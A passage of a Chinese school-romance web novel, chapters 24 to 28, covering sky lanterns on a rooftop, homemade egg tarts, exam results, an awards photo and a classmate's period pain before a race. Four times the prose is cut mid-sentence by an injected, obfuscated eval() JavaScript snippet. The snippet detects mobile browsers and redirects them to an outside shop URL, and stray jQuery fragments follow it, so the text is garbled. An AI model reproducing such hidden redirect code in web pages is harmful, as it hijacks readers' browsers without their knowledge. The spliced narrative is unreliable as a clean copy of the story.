眨了眨眼睛,邵远年抬起手摸了摸她的头发:“我们不也是吗?分离了八年,兜兜转转又见面了。只要你愿意,二十年后我们依旧会是很好很好的亲密关系。”他偷偷换了一个概念。 “……”姜青杳愣愣地看向邵远年,发现他表情严肃认真,不是简单地安慰她。 “二十年太久了,八年吧,希望下一个八年你还在我身边?”她笑着问。 “会的。”邵远年肯定地点点头。 24. 24.星星 待打完游戏,姜青杳和邵远年望了望时间,发现已经是凌晨一点多了。 “突然肚子好饿。”姜青杳揉了揉肚子,感觉胃有点瘪瘪的。 “吃不吃蛋挞?”邵远年想起来前天去超市采购买的蛋挞皮,他还没试过烘培。 想了想,姜青杳点点头,然后邵远年就趿着厚实的拖鞋走到厨房拿起围裙系起来,她就自然地跟在邵远年的身后当做他的袋鼠小尾巴。在邵远年用橡皮筋扎起来有些长的头发的时候,她微微踮起脚来把口袋里的粉色熊猫大厨的发夹别在他的刘海上面,看着他的刘海变成可爱的斜刘海笑笑。 邵远年其实也没有做过蛋挞,他拿出料理书跟着上面的步骤开始打蛋,姜青杳就趴在餐桌上面看mp3里面的小说,时不时两个人聊上一两句。时间久了,就有点困,姜青杳揉了揉眼睛,突然看向了烟灰缸,想起来一个月前的她们还尴尬得像是遇到苍耳一样间隔距离远远的。 那个时候,姜青杳抿了抿唇,她没想过她们会再次成为好朋友。 想起来打游戏过场动画的问题,她心里的酸涩咕噜咕噜冒泡,但是八年的事情谁说得准呢? 如果可以,她好想,好想,成为一条蛇,她想成为邵远年的小蛇,绕着他,缠着他。 “好了。”邵远年将手套摘下,把烤箱的门关上调了调时长。 被突然出声的邵远年吓了一跳,姜青杳蹦跶了一下,像是被人敲打了膝盖出现了膝条反射。 见姜青杳有些困困的,邵远年把围裙摘下来,看向姜青杳,突然说:“想不想看星星?” “星星?”姜青杳瞪大了眼睛。 “嗯,看星星。”邵远年点点头,笑着说。 于是,两个人坐电梯上了房屋的最顶楼,到了天台上面,发现天台有些荒芜,只有一点点顽强的野草在寂寞地生长,还有的就是生长力茂盛的爬墙虎缠绕住的藤蔓秋千在天台的一角。 邵远年拍了拍灰,姜青杳和邵远年就坐在了秋千上,秋千吱呀吱呀地响,她们之间的距离很近,手背挨着手背,若近若离地靠近能够感受到彼此手背上的毛绒绒的绒毛。 姜青杳抬头望着天,发现天空黑漆漆的,星星其实没多少,眨了眨眼睛,开始左看看右看看终于找到了一处明亮的“灯”,指着那个“灯”说:“邵远年,你看那个,是不是星星?” 闻言,邵远年仰起头去看,发现那个似乎是孔明灯,笑笑:“好像是孔明灯。” “真的?”姜青杳又瞪大眼睛,仔细看那个“灯”的走向,发现它真的虚无缥缈晃晃荡荡。 “那这个呢?这个!”姜青杳又指向旁边的另一个,结果刚指向就发现是飞机的尾灯。 一边说着“没意思”,姜青杳一边向后重重地靠去,秋千因为她身躯的大幅度动作开始摇摆、摇晃,她望着像是乌鸦的黑羽毛的漆黑黑的天,有些困倦了:“邵远年,要是……”有星星就好了。 看着身旁困倦得眼皮耷拉的少女,邵远年眨了眨眼睛,他没有办法变出星星,他作为猫妖有的能力似乎只和“时间”挂钩,也许是和他求的愿望有关系吧,他只会和时间有关的能力。 - 醒来的时候已经是凌晨三四点了,天还是很黑,姜青杳抬手揉了揉眼皮,发现盖在自己身上的毛毯滑落下来,目光下意识去寻找邵远年的存在,就发现他正蹲在不远处背对着她捣鼓些什么。 “邵远年?”姜青杳刚睡醒的声音还有些黏哑,像是情人间的呢喃。 听到声音的邵远年回头,就看到睡得迷迷糊糊的姜青杳歪着头看着他,很可爱的样子。 “想不想看星星?”邵远年笑着问,声音缱绻温柔。 闻言,姜青杳抬头看天空,发现还是黑漆漆的一片,伸了个懒腰,将毯子随意放在藤蔓秋千上,趿着拖鞋走到蹲着的像是一株蘑菇一样的邵远年身旁,然后她就看到了孔明灯。 “孔明灯?”姜青杳瞪大了眼睛,慢慢蹲在邵远年身旁,有些讶异地看着他。 被少女瞪着眼睛看的男人正温柔地笑着,清隽的声音在少女身侧响起:“嗯,孔明灯。” “听说,把愿望写在孔明灯里面,然后放飞它,愿望就可以成真,试试吗?”邵远年问。 还没有点火的孔明灯瘪瘪的,像是软柿子饼一样软趴趴的,姜青杳还在看孔明灯想着些什么,身旁的邵远年就拿过来一张纸和一支笔递给她:“愿望要自己写才会成真,喏。” 姜青杳突然发现这里有不止两个的孔明灯,但是她们只有两个人。 “邵远年,你好耍赖,”姜青杳指着那堆孔明灯,“这么多愿望,神明要忙晕了。” 好听的清朗的笑声就这样响起,邵远年抬起手摸了摸姜青杳有些睡乱的头发,将她有些分岔的刘海理齐,然后从身后拿出来更多的纸张:“我只有一个愿望,耍赖的应该是你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661712|188470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……”姜青杳讷讷,随后接过了那些纸张,“那,那我试试,万一有的愿望不灵验呢。” 于是,借着月光和蜡烛的光芒,姜青杳写下了几个愿望。 「妈妈和成烟阿姨身体健康平安,友谊长存。」 「姜青杳和邵远年八年之后还要在一起。」 「希望看到的人都能够平安顺遂。」 写下了三个愿望挨个放在孔明灯里面,姜青杳发现还有两个孔明灯没有写愿望。 “邵远年,你许愿了吗?”姜青杳戳了戳一直在旁边研究怎么放飞孔明灯比较好的邵远年。 “嗯,许愿了,在这里。”邵远年伸出手,她就看到了他温热的手心里躺着的一张纸条。 “你不怕我偷看?”姜青杳玩笑道。 “不怕,”邵远年摇摇头,“我许的愿望甚至可以告诉你,和你有关。” 咚。咚。咚。 像是烟囱里直冒出的烟雾,姜青杳的心开始咕噜咕噜冒泡,开心得冒泡,嘿嘿。 “其实,我许的愿望也有一个和你有关。”姜青杳腼腆地笑笑,将她的愿望也分享给他。 “是吗?也许我们的愿望是同一个愿望呢。”邵远年笑了笑。 邵远年将许的愿望纸条折叠好塞进孔明灯里面,然后点燃蜡烛,托举着他的愿望,看着他的愿望充气像是夸父逐日那边毅然决然地奔向光明天地那样飞向天空——“岁岁年年长安乐。” 接着,一个两个愿望在姜青杳和邵远年的托举下顺着风的方向飞翔。 零零落落的几个孔明灯在刚起飞的时候还有些晃荡,姜青杳看着担心愿望掉落,一直仰着头皱眉紧紧盯着,好在颠簸了几下,孔明灯都顺利地起飞了,带着她们的心愿飞向天空的方向。 乍一看,几个散落飘荡的孔明灯真的像极了天空的星星,一闪一闪的,亮亮的。 “邵远年,”姜青杳眼睛亮亮地看向身旁的男人,“亮亮的,好像玻璃硬糖。” 有些哑然失笑,邵远年手伸进口袋里,随后掏出来一颗硬糖:“给,玉米味的。” 看着眼前的人将包装纸拆开然后把玉米味硬糖塞进嘴里,邵远年又将手一摊,示意姜青杳将垃圾放在他的手里,就看到她腼腆的笑容。因为戴牙套不能直接咬糖,含着糖果的腮帮子微微鼓起来,姜青杳的嘴一张一合,带着甜丝丝的气息:“邵远年,你对我真好,谢谢你。” 25. 25.蛋挞 熬了个通宵的姜青杳最终睡到了下午三点才醒来,醒来的时候天雾蒙蒙的。这一个月润润长得很快,从毛绒绒的小毛虫变成了两只手可以捧起来的小猫虫,正四仰八叉地睡在她的枕头旁边。 好在这次放假没有留作业,姜青杳打了个哈欠就掀开被子趿着拖鞋去洗漱。 待姜青杳下楼,就看到成烟和姜蝶坐在客厅吃蛋挞,想起来昨夜,又或者是说今早邵远年烤好的一些蛋挞,卖相还不错冷着吃姜青杳就打包带了一些回来,留着给她们吃。 “岁岁呀,这个蛋挞是买来的吗?”成烟朝姜青杳招招手,问道。 “不是,是邻居哥哥做的,蛋挞皮是买来的,里面的内馅是自己做的。”姜青杳摇摇头。 “正说着呢,大饭堂想加点甜点不知道加什么,刚好可以加点蛋挞了。”姜蝶笑眯眯地接话。 “哦哦,可以呀。”姜青杳有些心不在焉,看着时间发现已经四点多了,邵远年该来了。 见姜青杳心不在线四处张望的样子,姜蝶笑笑:“小年说了他今天有点事情,晚上我们送你。” 眨了眨眼睛,姜青杳点点头应了应:“好。” 早早吃过了晚饭,姜青杳清理了一下厚实的外套,然后打包了蛋挞准备带到学校去分给同学吃。等到学校的时候,她望了望时间发现才五点半过一点,这是她这么久以来这么早来上晚自修。 教室里几乎没什么人,除了林城新,其他人姜青杳都不太认识,对不上号。倒不是脸盲,而是她这段时间一直低着头学习除了集体活动周围的人,几乎没有什么认识新同学的渠道。 “林城新。”姜青杳走到后面林城新的座位,提着一盒蛋挞。 拿着篮球正准备出去打球的林城新听到细细嗡嗡的声音喊他,张望了一下,发现原来是身后的姜青杳在喊他,于是将篮球抱在怀里,挠了挠头:“是你啊,上次还挺对不住你的。” 摆了摆手,姜青杳将蛋挞拿出来展现在两个人面前:“没事没事,上次你给了我吃的,这次我给你带了蛋挞,是家里人自己做的,感觉味道还不错,就想着带给你尝尝。” 看着姜青杳真诚的样子,林城新脸一红,手接过了蛋挞:“谢,谢谢你啊。” “没事,”姜青杳摇摇头,“话说林城新,你有没有见到沈佩淑?” 听到姜青杳问沈佩淑的去向,林城新想了想,说:“她刚刚来过一次教室,然后就离开了。” “哦哦,好的,谢谢你。”姜青杳腼腆地笑笑,挥挥手离开了。 不出意外的话,沈佩淑应该是在她的秘密基地吧。 迈着雀跃的步伐,她提着另一盒蛋挞快步走向了去往那个只有她们知道的秘密基地。 刚走到教室窗台附近,就听到沈佩淑在小声背着打印册上的知识点在复习。姜青杳敲了敲窗户,清脆的声响在有些安静的教室里回响,沈佩淑下意识看向窗户的方向,就看到姜青杳对她笑。 “我来找你玩。”姜青杳比了比手势,然后提起来蛋挞盒子在她们面前晃晃。 眨了眨眼睛,沈佩淑有些无语,她没想到只是一次帮忙,就让姜青杳觉得她们是好朋友了。 微微叹口气,沈佩淑起身走到教室的门那里打开了门,说不出什么重话,她知道不愿意和人接触是她的问题,而不是姜青杳的问题。但是问题恰恰在于她是姜青杳。她抿了抿唇。 “我在背书。”所以你赶紧走吧。 “会打扰到你吗?那我把蛋挞给你,我就走。”姜青杳点点头,她听出来她话里的意思。 不知道为什么,被听出来话里的意思的沈佩淑倒是没有那么开心,反而有点点……愧疚。 “不会,我和你一起回教室吧,晚点就要晚点名了。”沈佩淑收起赶人的话,准备离开。 “没事没事,晚点名还有一会儿,你先继续学习吧,我回教室了。”姜青杳看着蛋挞已经送到沈佩淑的手里,也就没有继续纠缠着她,毕竟她也看得出来沈佩淑不太喜欢和人接触。 看着摆了摆手的姜青杳迈着雀跃的步伐离开,沈佩淑又将视线转移到金黄色的蛋挞上面,脆脆的蛋挞皮很酥嫩,包裹着的锡纸在灯光下有点闪耀,金黄色的表皮上面还有一点喷枪烤出来焦糖的颜色,在那一团像是甜甜的焦糖味爆米花,可以看得出来这个蛋挞会很好吃。 拿起锡纸包裹着的蛋挞,沈佩淑轻轻咬了一口,嫩嫩得像是果冻一样的触感在嘴巴里绽开,鲜香的鸡蛋味在鼻腔里徘徊,甜而不腻,再加上酥脆的蛋挞皮,像是在吃甜筒的最后一角巧克力。 很好吃。 沈佩淑垂眸看着盒子里的另一个蛋挞,再看了看手里咬了一口的蛋挞,得出了结论,随后心里的猜想开始冒出泡泡——是她自己做的吗?她居然,也会烘焙吗?她是特意做给她吃的吗? - 待沈佩淑回到座位的时候,姜青杳抬起头看了看她,然后小声问:“蛋挞好吃吗?” 想起蛋挞的酥脆感,沈佩淑诚恳地点了点头,也小声地说:“嗯,挺好吃的。” 正准备询问蛋挞是她自己做的吗还是谁买的,数学老师就在后面对着沈佩淑招招手。 “沈佩淑,过来一下。” 有些疑惑,但是沈佩淑还是起身跟着数学老师去了办公室。刚进办公室,数学老师就将一张答题卡递给她,上面用着鲜红的红笔写着150这个数字,再仔细一看发现答题卡上的名字是“沈佩淑”。 “你这次考试很不错啊,我们班数学卷子刚改完出来,和其他文科班对比一下,文科数学过140的只有是个人,满分的只有你一个人。”数学老师抿了口保温杯里的热水,笑着看着沈佩淑说道。 “谢谢老师夸奖,还是老师您教得好。”沈佩淑笑笑。 数学老师听闻后叹了口气,吹了吹保温杯里的热气,说:“我要是真的教得那么好,姜青杳的成绩就不会这么糟糕了……来,你看看,她的数学成绩是我们班的倒数第一,都没有及格。” 这…… 沈佩淑皱了皱眉,她完全没有想到姜青杳的数学成绩会差到这种地步。接过老师递过来的姜青杳的答题卡,错了又错的选择题,空着的两道填空题,写不完的压轴题,看得确实头疼。 数学老师看了看沈佩淑的表情,又喝了口水润了润唇,继续说:“叫你来呢,就是想问问,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16664904|188470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前段时间成立的学习小组的情况,你们是不是还不太熟悉啊?我总是看她独自来办公室问题。” 被数学老师直白地点名了两个人不太熟悉的同桌关系,沈佩淑抿了抿唇,不知道说些什么。 “诶,程老师,你那个文综卷子里的历史部分不是改完了吗?” 低头摘下眼镜捏了捏眉心的程玉杯数学老师喊到,数学老师是她的前辈,虽然她是班主任,但是数学老师的资历比她高多了,是学校的年级主任,于是忙戴起眼镜应声道:“对,是的王老师。” “我没记错的话,姜青杳的历史成绩是班上最高的吧?”数学老师和蔼地问道。 程玉点点头,她也确实没想到这个新来的转校生历史居然拿了这么高的分数。 “你看,据我所知,沈佩淑你的历史还可以加把劲,像那种自选的材料题,虽然你写满了但是拿分点几乎没有拿到啊。你们呢,我和程老师商讨了一下,应该多交流交流,相互学习,对吧?” 话说到这个份上了,沈佩淑再不知道就是傻子了。 于是点点头:“好的老师,谢谢老师关心,我会和姜青杳多交流交流的。” 回到教室,后排的林城新叫住了沈佩淑:“诶诶,沈佩淑!数学老师说了什么?” “没什么,说我数学班上第一。”沈佩淑淡淡地说,然后回到座位上。 “我去,真不愧是沈佩淑。”林城新比了个大拇指,要是别人这样说,他真觉得是死装的。 等坐到座位上后,沈佩淑将夹在她的答题卡里的属于姜青杳的那一份答题卡拿出来,将答题卡的分数压在桌面上,小声说:“你的数学答题卡。”很小心地没有让其他人看到她的分数。 姜青杳见状,也知道是自己成绩不太好了,于是翻了个面,看到红艳艳的两个数字“79”。 呵呵。 姜青杳将答题卡随手塞到正在看的地理书下面,然后捂住耳朵准备继续被地理知识,就被沈佩淑拿着笔轻轻戳了戳,听到身旁的人说:“你不想提高数学分数吗?数学老师让我们互帮互助。” 互帮互助……好伤人,她能帮沈佩淑什么啊?刚刚她和林城新的话她又不是没有听到。 “你的历史成绩是班上第一,文综其他的还没有改出来,我历史刚好不是很好,你能教教我吗?”沈佩淑踌躇着,最终还是抿了抿唇,主动迈出两个人关系更加贴近的一步。 “什么?我历史是全班第一?”姜青杳吃惊地叫出声,随后捂住嘴,担心声音太大被别人听到。环视了一圈发现周遭的人都在嬉笑打闹,没有什么人注意到她们这个角落里的对话才松了口气。 “嗯,是的,”沈佩淑点点头,“你觉得怎么样?” 还没有等姜青杳作出回答,数学老师就拿着一沓答题卡走了进来,数学委员很有眼力见地立马走过去接过答题卡分发给第一排的人让她们来发试卷,班上开始响起哀嚎声。数学老师清了清嗓子,说:“我也不是来扫兴的,只是数学卷子刚刚改完了,我发给你们,你们自己分析分析。” “我就直说了,班上唯一一个不及格的人是姜青杳,倒数第一,只考了79分。” 26. 26.合照 被老师直接在班上点名,姜青杳脸羞得通红,恨不得将自己埋在地里面。 “有的同学啊,有学习小组就应该多和成绩好的搭伴多学习学习,不要浪费了成立的学习小组,”说罢,数学老师摇摇头叹口气,“好了,接下来你们放电影看吧,好不容易考完一次联考。” 待数学老师走后,教室又开始吵吵闹闹,在商讨这次看u盘里的哪个电影。 见姜青杳低着头,没有扎起来的短发完全遮挡住了她的侧颜,沈佩淑心里也有点不好受。 “诶。”沈佩淑拿笔戳了戳姜青杳的胳膊肘,轻轻地,像是挠痒痒一样。 “怎么了?”姜青杳扭头,看向沈佩淑,带着一点茫然。 本以为会看到流着眼泪的脸,没想到只能看到姜青杳有些没心没肺的茫然,沈佩淑松了口气。 “走吗?我带你去复盘一下这次八校联考的数学卷子。”沈佩淑指了指外面,询问她走不走。 正思考着这次考试怎么办啥也不会,姜青杳就遇到了救星——沈佩淑:“好!走吧走吧!” 走在像是蜂巢一样亮着灯光的楼栋里,姜青杳突然开口:“我之前总是因为痛经请假,我总是会痛到呕吐,需要在家休息大概两三天才会好,所以很多知识点我都没上课听过。” 说完,有些忐忑地看了看走在身旁的沈佩淑:“给我讲数学卷子,可能有点麻烦。” 没想到沈佩淑只是淡淡地说:“不早说。” 然后姜青杳就看到沈佩淑转身离开,有些愣愣地站在原地,看着她远去的背影,叹了口气。 待沈佩淑拿着数学必修和选修的课本过来的时候,就看到姜青杳趴在栏杆上吹着风,垂眸看着被蜂巢淅淅沥沥的灯照亮的大树,肩膀一耸一耸的,像是在哭。于是,她又折回教室,找了卫生纸,然后急急忙忙快步走回姜青杳的身旁,发现她头埋在双臂里:“姜青杳。” 再次听到沈佩淑的声音,姜青杳怔怔地抬起头,脸上的泪痕还没有干,就这样眼镜带着周围教室的光看向一脸神情淡漠的沈佩淑,看着这样表情冷峻的人靠近她把卫生纸递给她:“别哭了。” “谢谢。”姜青杳接过抽纸,狠狠地擤了下鼻涕,然后再拿新的卫生纸胡乱擦了擦眼泪。 “我刚刚回去是去拿数学书。”沈佩淑想了想,还是解释道。 眨了眨眼睛,姜青杳讷讷地看向沈佩淑,看着她手里确实还拿着一些课本。 看来是她想错了,她开始以为沈佩淑是觉得她麻烦所以转身离开回教室看电影了。 “抱歉,我以为……” “没事,是我没有说清楚,走吧。” 属于沈佩淑一个人的秘密基地现在变成了姜青杳和沈佩淑两个人的秘密基地,她们没有打开教室的大灯,而是拿出台灯照亮了教室的一角和她们面前的光亮,还有课本和纸张的亮度。 “我看你的数学卷子,很多有关函数的题你不太会,那么我们先从函数讲起。” “首先,你看这个抛物线……” 窸窸窣窣的纸张和笔尖的碰撞声在时不时响起的人声里响起,两个头挨着头的少女就这样互相靠在一起学习着数学的知识点,教室的钟表滴答滴答地转动,她们的齿轮也在这一刻再次转动。 - 第二天,第一次八校联考的总成绩出来了。 学校特地空出来了早上的两节课,让大家搬着座椅到操场上开表彰大会。 表彰大会的开启仪式总是又臭又长的,恰巧这几天也是秋冬季运动会举行的日子,太阳正大。坐在阳光下面的学生们大多拿着资料在低下背书、写资料之类的,姜青杳偷偷地躲着看mp3的小说,时不时抬头看看老师在哪里有没有发现她在看小说听歌,直到班长突然喊了她的名字。 “姜青杳。”班长一出声,吓得姜青杳一抖,立马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16670622|188470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐直了看向班长面带微笑。 在不远处站着准备颁奖仪式的沈佩淑恰巧看到那个人群中突然昂起来的萝卜头,笑了笑。 “等下你记得上台进行颁奖仪式,你的文综是年级第一。”班长见姜青杳那小贼的样,笑了笑。 姜青杳没想到这次的八校联考自己居然闯进了年级前二十,大家也没有想到,数学总分只有79分的偏科大王在她们班诞生了。这次考试,在所有人意料之中的,沈佩淑是文科班的年级第一。 虽然姜青杳进了年级前二十,但是和上一个学生的总分一样,因为主要三门科目数学、语文、英语的分数比上个和她总分一样的学生的分少了许多,她在年级便排到了第十八名,上一个是十七名。 前二十名的学生在听到校长讲完话后,便跟着沈佩淑一起上台了,台上立马变得拥挤起来。 领完奖状后,校长说大家可以自己找位置准备拍照了,台上的大家就开始你看看我我看看你,拥挤的红毯上面又开始变得嘈杂,大家开始寻找认识的朋友在哪里,或者是看看有没有熟悉的人,好两个人站在一起合照不显得尴尬。于是嘈杂又拥挤的红毯大家走来走去,除了沈佩淑之外。 沈佩淑默默站在原地不动,她并不在乎这些什么仪式感,拍完照就行了。 突然,沈佩淑感觉自己的衣角被人扯了扯。 她有些纳闷地侧身看过去,就看到姜青杳抿着唇微微笑着拉着她的校服一角,眼睛亮亮地说:“我们站在一起,可以吗?我的同桌?”沈佩淑怔了怔,一时之间不知道说些什么。 “大家都站好了啊,学校要给大家留影了!” “你不说话,那我就当你默认了啊!”姜青杳说着,拿起奖状就贴着沈佩淑亲昵地站在一起。 “三!” “二!” “一!” “说——茄子——” “咔嚓!” 27. 27.痛经 颁奖仪式结束,拿着奖状和奖品的她们纷纷走下红毯,各种各样颜色的衣服像是冲刷的洗衣粉泡泡融入、汇集在更大的衣服的潮流里。姜青杳跟在沈佩淑的身后,穿着校服的她们紧挨着人群。 她还在低头想着刚刚那个冲动的举动,不知道沈佩淑其实正刻意放慢步伐在等她。 姜青杳的座位在沈佩淑的前面,因为她身高才一米六五,沈佩淑有一米七五。 等到座位后,她就坐下来了,没有抬眸看到沈佩淑欲言又止的眼神。 接着,是运动会的开幕演讲。 在她们颁奖仪式举行的时候,负责开幕仪式表演的人群已经四散离去,现在正准备开幕演讲结束后,举着各个班级的旗帜走着方阵路过一排排矩形的人群,然后再汇集到人海里面。 她不关注这些,姜青杳来得比较晚,在她转校的前一天运动会的报名项目就已经截止了。 待开幕仪式结束,她准备离开的时候,林城新喊住了姜青杳的名字。有些讶异,也有些纳闷,姜青杳回头看向林城新,发现他背上别着号码牌手里拿着花名册,身后还跟着一群运动员。 “姜青杳,麻烦你找一下花名册上面打勾的人。”林城新急急忙忙地喊住她。 “这些都是运动会的后勤人员,我急着去上场第一个项目,麻烦你了。”这次他意外地客气。 抿了抿唇,姜青杳接过了花名册,草草看了看发现里面有她的名字,然后抬起头看向林城新,就发现眼前的大男孩挠了挠后脑勺:“你知道的,没项目的人一般会成为后勤人员,帮帮忙吧?” “好。”姜青杳点点头,收起来了花名册。 见姜青杳答应,林城新皱着的乌云瞬间四散,舒展的眉眼看着她笑着说:“谢谢你!” 说罢,就转身跑开了,还扭头挥手说了声“再见”。 最终,姜青杳找到了那四五个人,然后根据抽签分配了后勤部分的工作。 姜青杳被安排到去体育馆做后勤人员,负责跳远运动员的拉拉队加油和矿泉水的提供。 下午午休结束,林城新作为体育委员又带着一群人下楼准备比赛,她们几个后勤保障也带着矿泉水和零食跟着下了楼。最主要的事情还是那些运动会的事情,姜青杳慢悠悠走在队伍的后面。 “诶诶,听说了没,沈佩淑早上跳高拿了全校第一!” “是吗?不愧是全能型学霸,长得好看学习成绩又好,又是个运动天才。” “就是性格有点怪,不太好接触。” “学霸不都是这样的吗?各有各的性格。” 当时姜青杳是被安排到体育馆给跳远的队员进行啦啦队的加油,她并不知道跳高的情况。 想了想,沈佩淑平常升国旗的时候总是站在队伍的最后一个,身高,腿也长,默默点了点头。 剩下的八卦就是姜青杳懒得听的校园恋爱了,她也不认识那些主角,听起来没意思,就想着拿出来mp3听听歌,却发现口袋空空的,便急忙走上前和林城新说话:“我有东西忘在教室了。” 和林城新细细说了情况,然后他点点头说那他先去操场,晚点记得和他在操场汇合。 说完,姜青杳就急急忙忙小跑回班上——开玩笑,她谁也不熟,没有mp3她真傻站着加油啊?! 因为是运动会,教室里的门是关上的,姜青杳记得林城新把备用钥匙放在门沿上,便抬起头掂了掂脚伸手在门沿上摸索着,摸到了冰凉的钥匙后,姜青杳松口气,将钥匙插进门锁里准备扭动,却发现门不是反锁着的,有些纳闷,但也没有多想,就将钥匙又放了回去,然后推着门进了教室。 一进教室,就看到教室最后一排靠窗的窗帘拉得好好的。 平日里除了午休的时候,沈佩淑总是将窗帘绑起来挂着,由着太阳晒进来。 现下,教室里的窗帘都拉上了,没有太阳照进来有些暗暗的,凉凉的。 有些奇怪,但是姜青杳也没有多想,也许是沈佩淑忙着参加比赛忘记拉起来了。 毕竟,她刚刚走在路上就听同学说了沈佩淑报了好多项目,一直是班上拿奖牌的主力军。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16675438|188470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是她没想到刚回到座位上,就看到沈佩淑趴在桌子上睡觉。 眨了眨眼睛,姜青杳呼吸都忍不住屏住了,担心自己的动作吵到睡梦中的沈佩淑。没想到刚蹲下来在抽屉里找东西,就看到沈佩淑抬起头来看向了她,于是有些慌乱又小声地说:“抱,抱歉。” “我不知道你在教室睡觉……我回来找个东西,找到了就走,不打扰你继续睡觉了。你,你好好休息先,我马上就走。”断断续续说着,姜青杳压着声音用气音小声说着道歉的话。 突然,冰凉的手抓住了姜青杳细弱的手腕。 她看向沈佩淑,仔细一看发现她的面额有些汗渍,原本就白皙的脸颊现下更加惨白,就连嘴唇都有些泛白,带着病气的苦涩:“沈,沈佩淑,你怎么了?你是哪里不舒服吗?” 沈佩淑深吸一口气,努力压制住腹部的疼痛,扯了扯嘴角,摇摇头说:“没事,我还好。” 可是,这看起来并不像是还好的样子啊。 缓缓扯下沈佩淑拉着自己手腕的手,姜青杳一屁股坐在了座位上,微微俯身靠近沈佩淑,小声地问:“但是你现在看起来状态挺不好的,你是不是痛经啊?我痛经的时候就是这样的。” 沈佩淑闻言,又默默闭上眼睛,轻轻地“嗯”了一声,然后说:“我已经吃了止痛药了。” “那你,那你要不要喝点热水?或者我拿矿泉水瓶接点热水给你暖暖肚子?” 姜青杳说着,就拿起沈佩淑桌子上的保温杯起身去后面的饮水机打水,随后就拧开瓶盖递给沈佩淑:“喝一点水吧。你吃了止痛药好好睡一觉,睡一觉醒来药效应该就有效果了。” “谢谢。”沈佩淑一手捂着肚子,一手接过保温杯喝了几口水,“麻烦你三点的时候喊我。” “啊?你是下午还有比赛吗?你痛经的话最好还是不要剧烈运动了,你报的什么项目?” 她等下就去找林城新,看看有没有人替补,如果没有人替补的话,实在不行她就替上。 “女子一千六百米跑。” 28. 28.红色 (本章可以搭配陈予新的单曲《只要你想起我》食用。) 姜青杳坐在座位上看着时钟发呆已经有半个小时了,从两点十分到现在的两点四十分。 她的姿势从双手托腮捧着脸看着黑板上面的钟表,变成翘着木凳子倚靠在白色的瓷砖上,再变成趴在桌子上侧头看着皱着眉头睡觉的沈佩淑。她听到呼呼的风声,那是秋日里萧瑟的凉风,连炽热的太阳也照暖不了秋日的寒冷。她听到走廊里嬉闹奔跑的脚步声和说闹声,听到寂静的走廊里回响着外面广播站念着的运动会加油稿。她听到自己的心跳因为迟迟做不了一个决定而心慌得咚咚地跳动,听到沈佩淑因为止痛药还没有起药效而疼痛着蜷缩身体的衣服摩挲声音。 女孩子对着同性总是有着天生的同理心。 姜青杳告诉自己,帮沈佩淑是情分,不帮是本分。但是她知道痛经是由呕吐物、疼痛的眼泪以及艳红的鲜血构成。姜青杳看向眉头终于舒展的沈佩淑,一想到身旁的少女正流着大量的鲜血,她就觉得煎熬。替补肯定是没有人愿意替补女子一千六百米跑的。也不可能让沈佩淑真的吃了止痛药后流着鲜血去跑一千六百米。姜青杳长舒一口气,然后撑着桌子站起来,毅然决然地走出了教室。 - “林城新,沈佩淑的号码牌在哪里啊?”姜青杳急忙跑到林城新面前,双手扶着膝盖喘气问。 正拿着接下来杳参加女子一千六百米跑的红马甲和号码牌,林城新见姜青杳来了,刚想问沈佩淑怎么还没来,就听到姜青杳这样问,于是说:“怎么了?沈佩淑是有什么急事等下才过来吗?” 姜青杳擦了擦脸上的汗,说:“她生理期,我替她跑一千六百米。” 林城新上下扫视了一下面前这个看起来有一米七高但是却只有八十斤的少女:“你替她跑?”语气里充满了不可置信——前不久体测他记录数据,发现姜青杳穿着鞋子体重也只有八十斤。 “对,我和她说好了。”姜青杳说谎话完全不打草稿,面不改色地说着。 “诶呀,给我吧,我现在穿上马甲去热身。”说着,姜青杳拿过来马甲就套在身上去热身了。 姜青杳有紧张就会不停地打哈欠的毛病,她一边捂着嘴打着哈欠一边走去集合的地方。 没多久,热身结束后,参加女子一千六百米跑的队伍站在了跑道。 再后面一点是男子两千米跑的队伍。两个比赛的起点不同,但是终点是一样的。 